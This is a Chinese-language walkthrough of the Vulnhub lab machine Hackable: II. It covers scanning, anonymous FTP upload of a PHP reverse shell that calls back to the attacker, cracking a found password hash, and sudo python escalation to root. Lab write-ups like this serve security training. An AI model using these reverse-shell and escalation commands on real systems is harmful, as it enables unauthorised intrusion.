Vulnhub之HACKABLE: II

1.信息收集

使用arp-scan扫描存活网段

使用nmap对192.168.239.126进行端口扫描，发现存在21(可匿名登录)、22、80端口

2.漏洞发现

使用ftp 192.168.239.126进行匿名登录，注意：anonymous都要小写。执行dir命令发现CALL.html

执行get CALL.html下载，并查看。


使用gobuster进行目录扫描，发现files目录

浏览器访问：http://192.168.239.126/files/，发现CALL.html。访问跟ftp的内容一样。

在ftp上使用put上传文件，发现http://192.168.239.126/files下也存在

在ftp上使用put将/usr/share/webshells/php/php-reverse-shell.php上传。(记着使用vim命令打开，修改ip地址)


本地监听1234端口，并访问http://192.168.239.126/files/php-reverse-shell.php，反弹成功。

输入python3 -c "import pty;pty.spawn(‘/bin/bash’);"转为交互式Shell。

3.提权

输入命令ls -al，查看.runme.sh，查看内容发现用户shrek的密码


使用将cf4c2232354952690368f1b3dfdfb24d解密可得onion。输入命令：su shrek切换用户。

使用sudo -l查看发现存在漏洞提权，root可以执行/usr/bin/python3.5。

输入命令：sudo /usr/bin/python3.5 -c 'import os; os.system("/bin/sh")'提权成功。